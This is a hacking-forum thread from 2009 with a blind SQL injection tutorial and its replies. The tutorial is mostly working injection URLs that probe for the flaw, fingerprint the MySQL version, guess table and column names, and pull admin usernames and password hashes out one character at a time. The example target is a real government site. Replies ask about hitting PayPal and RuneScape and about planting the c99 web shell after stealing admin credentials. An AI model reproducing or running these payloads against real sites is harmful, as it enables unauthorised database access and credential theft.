Hack Forums
blind sql injection "detailed tutorial" - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: blind sql injection "detailed tutorial" (/showthread.php?tid=56326)

Pages: Pages 1 2 3 4 5

blind sql injection "detailed tutorial" - Nerv - Mar 6, 2009

blind sql injection

if you dont know about mysql injection turn around and learn it b4 u even consider learning this
because this is a whole different story.

1. test for vulnerability
so you have a site lets say :
Code
www.cia.gov/news.php?id=1
just like normal mysql injection

but for blind you put
Code
www.cia.gov/news.php?id=1 and 1=2
if you see any text from the page missing
or an error message like invalid id or db_error select * from xxxx@localhost call line "/" or anything like that
then its vuln

this works
because 1=2 is always false
you see if it was
Code
www.cia.gov/index.php?id=1 and 1=1
then you would get the normal page
because 1=1 is always true

2. mysql version
to find mysql version you need to do this query
Code
www.cia.gov/index.php?id=1 and substring(@@version,1,1)=4
if the pages comes back true then the version is 4
if not then try
Code
www.cia.gov/index.php?id=1 and substring(@@version,1,1)=5
if it comes back true then its a version 5

3. fuzzing tables and columns
to find the table name you need to guess it
so...
here is the query
Code
www.cia.gov/news.php?id=1 and (SELECT 1 from admin limit 0,1)=1
i have guessed the table admin if the page loads true then the table exists
eg. the table name is administrator
and we try
Code
(SELECT 1 from users limit 0,1)=1
then it will return with an error a.k.a. false
but if we did
Code
(SELECT 1 from administrator limit 0,1)=1
then it would not error a.k.a. true

now for the column
so the table is administrator
and we found that by fuzzing
now we need the column name
we fuzz it by
Code
www.cia.gov/news.php?id=1 and (SELECT substring(concat(1,password),1,1) from administrator limit 0,1)=1
if the column password exists then it wont error
you get my drift...

4. extracting password with ascii
so now we have the table/column we need to extract
well as you know it wont just pop up on the screen
we will need to use the ancii char
Code
www.cia.gov/news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from administrator where userid=2),1,1))>99
if this returns true then you need to go higher
Code
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>103
if this errors then its not greater than 103 and greater than/or 99
now try
Code
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100
no error then its greater than 99 and not greater than 103
higher
Code
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>101
error
so its greater than 99 but not greater than 101
higher
Code
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100
error
so its greater than 99 but not greater than 100 making it 100
the first character of the password is 100 which if u put into an ascii converter you will see
that it is the letter d
now you need to find the next character
Code
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>60
notice how i did where userid=1),2,1))>60 instead of 1,1
so this will be doing the second character
so keep extracting characters untill u get an error
then u will have the hash / password

- Uchiha-Itachi - Mar 6, 2009

This is the best SQL Injection tut i've ever seen
Thanks Man

- Nerv - Mar 6, 2009

thanks :D
[short message]
[VERY SHORT]

- holyboy94 - Mar 7, 2009

hey does this work for paypal??or for www.runescape.com

- Anarchy93 - Mar 8, 2009

Thanx for the tut man, really nice.

- Nerv - Mar 10, 2009

(Mar 7, 2009 05:15 AM)holyboy94 Wrote:  hey does this work for paypal??or for www.runescape.com
thankyou whoever banned him 🤝

- doomster - Mar 11, 2009

Thanks For Sharing Brilliant Tutorial

- Vebedot - Mar 11, 2009

I don´t get it, but looks good! ^^

(Im a noob at SQL)

- Nerv - Mar 11, 2009

lol u need 2 learn mysql injection first
:D
then once u know that then u can do blind

- doomster - Mar 11, 2009

Yap..You Need To Learn First..I Learned It From W3schools.com/sql

- Nerv - Mar 11, 2009

lol http://furious.jw.lt/ has been fixed

- sw0rdy - Mar 11, 2009

anywayz, i got the admin user:pass for 1 web. but i cant find admin control panel. any way to upload c99 directly?

- Nerv - Mar 11, 2009

yes there is but that is saved for the advanced sql injection tutorial i am working on

- zeroclass - May 13, 2009

Very nice tut! :)

thanks for this! :)


more! pls. more!!! :)

- Illinuminati - May 14, 2009

I dig!

Theres a really good Blind SQL video on milw0rm as I type

If this got you interested check that out for a visual explanation.

/grats on the tut though man